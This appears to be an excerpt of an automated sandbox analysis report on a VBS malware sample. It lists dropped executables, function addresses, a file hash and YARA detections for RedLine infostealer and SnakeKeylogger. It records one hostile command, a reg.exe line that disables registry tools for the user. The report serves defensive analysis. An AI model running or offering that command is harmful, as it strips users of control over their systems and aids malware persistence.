Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2A6B15C8	11_2_2A6B15C8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2A6B15B8	11_2_2A6B15B8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2D94EBF0	11_2_2D94EBF0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2D94D2E8	11_2_2D94D2E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2D940006	11_2_2D940006
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2D940040	11_2_2D940040
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E421A08	11_2_2E421A08
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E426626	11_2_2E426626
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E425F38	11_2_2E425F38
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42B3E0	11_2_2E42B3E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42BB90	11_2_2E42BB90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42EDD0	11_2_2E42EDD0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42E250	11_2_2E42E250
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42665E	11_2_2E42665E
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42AE18	11_2_2E42AE18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42D6D0	11_2_2E42D6D0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4296F8	11_2_2E4296F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42A288	11_2_2E42A288
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42CB50	11_2_2E42CB50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42B3D1	11_2_2E42B3D1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42BB89	11_2_2E42BB89
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42A850	11_2_2E42A850
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42E810	11_2_2E42E810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E429CC0	11_2_2E429CC0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42DC90	11_2_2E42DC90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E425570	11_2_2E425570
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42D110	11_2_2E42D110
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E425D18	11_2_2E425D18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E42EDC2	11_2_2E42EDC2
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4219F8	11_2_2E4219F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E425580	11_2_2E425580
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CE388	11_2_2E4CE388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C5420	11_2_2E4C5420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CF570	11_2_2E4CF570
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C21F8	11_2_2E4C21F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C9A68	11_2_2E4C9A68
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C4E60	11_2_2E4C4E60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CCE28	11_2_2E4CCE28
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C8220	11_2_2E4C8220
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CD698	11_2_2E4CD698
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CC29A	11_2_2E4CC29A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CC2A8	11_2_2E4CC2A8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C76A0	11_2_2E4C76A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C9360	11_2_2E4C9360
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CE379	11_2_2E4CE379
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C4718	11_2_2E4C4718
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CB728	11_2_2E4CB728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C6B20	11_2_2E4C6B20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C87E0	11_2_2E4C87E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C5F90	11_2_2E4C5F90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CABA8	11_2_2E4CABA8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C5FA0	11_2_2E4C5FA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C7C50	11_2_2E4C7C50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CC868	11_2_2E4CC868
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C7C60	11_2_2E4C7C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CA028	11_2_2E4CA028
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CBCD8	11_2_2E4CBCD8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CBCE8	11_2_2E4CBCE8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C70E0	11_2_2E4C70E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C48A0	11_2_2E4C48A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CB168	11_2_2E4CB168
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C6560	11_2_2E4C6560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CF560	11_2_2E4CF560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4CA5E8	11_2_2E4CA5E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C59E0	11_2_2E4C59E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E4C8DA0	11_2_2E4C8DA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C0E10	11_2_2E7C0E10
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7CAFC8	11_2_2E7CAFC8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7CDD60	11_2_2E7CDD60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C0728	11_2_2E7C0728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7CF791	11_2_2E7CF791
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C0040	11_2_2E7C0040
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7CF001	11_2_2E7CF001
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C20B0	11_2_2E7C20B0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C0E0A	11_2_2E7C0E0A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7CABDC	11_2_2E7CABDC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C0722	11_2_2E7C0722
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E7C0032	11_2_2E7C0032
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2E824AD1	11_2_2E824AD1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00408C60	11_1_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_0040DC11	11_1_0040DC11
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00407C3F	11_1_00407C3F
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00418CCC	11_1_00418CCC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00406CA0	11_1_00406CA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_004028B0	11_1_004028B0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_0041A4BE	11_1_0041A4BE
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00408C60	11_1_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00418244	11_1_00418244
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00401650	11_1_00401650
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00402F20	11_1_00402F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_004193C4	11_1_004193C4
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00418788	11_1_00418788
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00402F89	11_1_00402F89
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00402B90	11_1_00402B90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_004073A0	11_1_004073A0
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_029820C4	16_2_029820C4
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00408C60	17_2_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_0040DC11	17_2_0040DC11
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00407C3F	17_2_00407C3F
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00418CCC	17_2_00418CCC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00406CA0	17_2_00406CA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_004028B0	17_2_004028B0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_0041A4BE	17_2_0041A4BE
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00408C60	17_2_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00418244	17_2_00418244
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00401650	17_2_00401650
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00402F20	17_2_00402F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_004193C4	17_2_004193C4
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00418788	17_2_00418788
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00402F89	17_2_00402F89
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00402B90	17_2_00402B90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_004073A0	17_2_004073A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1C3C15BF	17_2_1C3C15BF
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1C3C15C8	17_2_1C3C15C8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1C3C0EE0	17_2_1C3C0EE0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1C3C0F20	17_2_1C3C0F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F285F38	17_2_1F285F38
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28BB90	17_2_1F28BB90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28B3E0	17_2_1F28B3E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F286627	17_2_1F286627
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F281A08	17_2_1F281A08
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28EDD0	17_2_1F28EDD0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28CB50	17_2_1F28CB50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28B3D1	17_2_1F28B3D1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28AE18	17_2_1F28AE18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28665E	17_2_1F28665E
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28E250	17_2_1F28E250
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28A288	17_2_1F28A288
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F2896F8	17_2_1F2896F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28D6D0	17_2_1F28D6D0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F285D18	17_2_1F285D18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28D110	17_2_1F28D110
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28557D	17_2_1F28557D
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F285580	17_2_1F285580
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F2819F8	17_2_1F2819F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28EDC3	17_2_1F28EDC3
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28E810	17_2_1F28E810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28A850	17_2_1F28A850
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F28DC90	17_2_1F28DC90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F289CC0	17_2_1F289CC0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F29EBF0	17_2_1F29EBF0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F29D2E8	17_2_1F29D2E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F290007	17_2_1F290007
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1F290040	17_2_1F290040
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1E388	17_2_1FE1E388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE121F8	17_2_1FE121F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1F570	17_2_1FE1F570
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE11420	17_2_1FE11420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE187E0	17_2_1FE187E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE15FA0	17_2_1FE15FA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1ABA8	17_2_1FE1ABA8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE15F90	17_2_1FE15F90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE19360	17_2_1FE19360
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1E379	17_2_1FE1E379
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE16B20	17_2_1FE16B20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1B728	17_2_1FE1B728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE14718	17_2_1FE14718
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE176A0	17_2_1FE176A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1C2A8	17_2_1FE1C2A8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1C29B	17_2_1FE1C29B
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE14E60	17_2_1FE14E60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE19A68	17_2_1FE19A68
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE18220	17_2_1FE18220
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1CE28	17_2_1FE1CE28
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE159E0	17_2_1FE159E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1A5E8	17_2_1FE1A5E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE18DA0	17_2_1FE18DA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE16560	17_2_1FE16560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1F560	17_2_1FE1F560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1B168	17_2_1FE1B168
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE170E0	17_2_1FE170E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1BCE8	17_2_1FE1BCE8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1BCDB	17_2_1FE1BCDB
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE148A0	17_2_1FE148A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE17C60	17_2_1FE17C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1C868	17_2_1FE1C868
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE17C50	17_2_1FE17C50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE15420	17_2_1FE15420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_1FE1A028	17_2_1FE1A028
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20110040	17_2_20110040
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_201120B0	17_2_201120B0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20110728	17_2_20110728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_2011DD60	17_2_2011DD60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20110E10	17_2_20110E10
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20110033	17_2_20110033
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20110723	17_2_20110723
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_2011ABDC	17_2_2011ABDC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20110E0B	17_2_20110E0B
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_20264AD1	17_2_20264AD1

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\liuuazhU.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C

Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: String function: 029846D4 appears 155 times
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: String function: 02998818 appears 50 times
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: String function: 02984860 appears 677 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 027D44DC appears 74 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 027E8818 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 027E889C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 027D46D4 appears 244 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 027D4860 appears 943 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 027D4500 appears 34 times
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: String function: 0040FB9C appears 40 times
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: String function: 0040D606 appears 96 times
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: String function: 0040E1D8 appears 172 times

Source: INQUIRY LIST 292.vbs

Initial sample: Strings found which are bigger than 50

Source: NETUTILS.dll.1.dr

Static PE information: Number of sections : 19 > 10

Source: C:\Users\Public\Libraries\liuuazhU.pif

Process created: C:\Windows\SysWOW64\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

Source: 17.2.liuuazhU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.1.liuuazhU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.3.liuuazhU.pif.1b37a088.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.1.liuuazhU.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.liuuazhU.pif.476068.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.1.liuuazhU.pif.43d038.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.liuuazhU.pif.2aa80f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c560f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d3a0f08.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c17772e.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1d7f5570.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2bd36478.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2bd36478.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.x.exe.21751178.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.liuuazhU.pif.43d038.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.2.liuuazhU.pif.1f8a0000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2aa80f08.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1f8a0000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1e426478.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
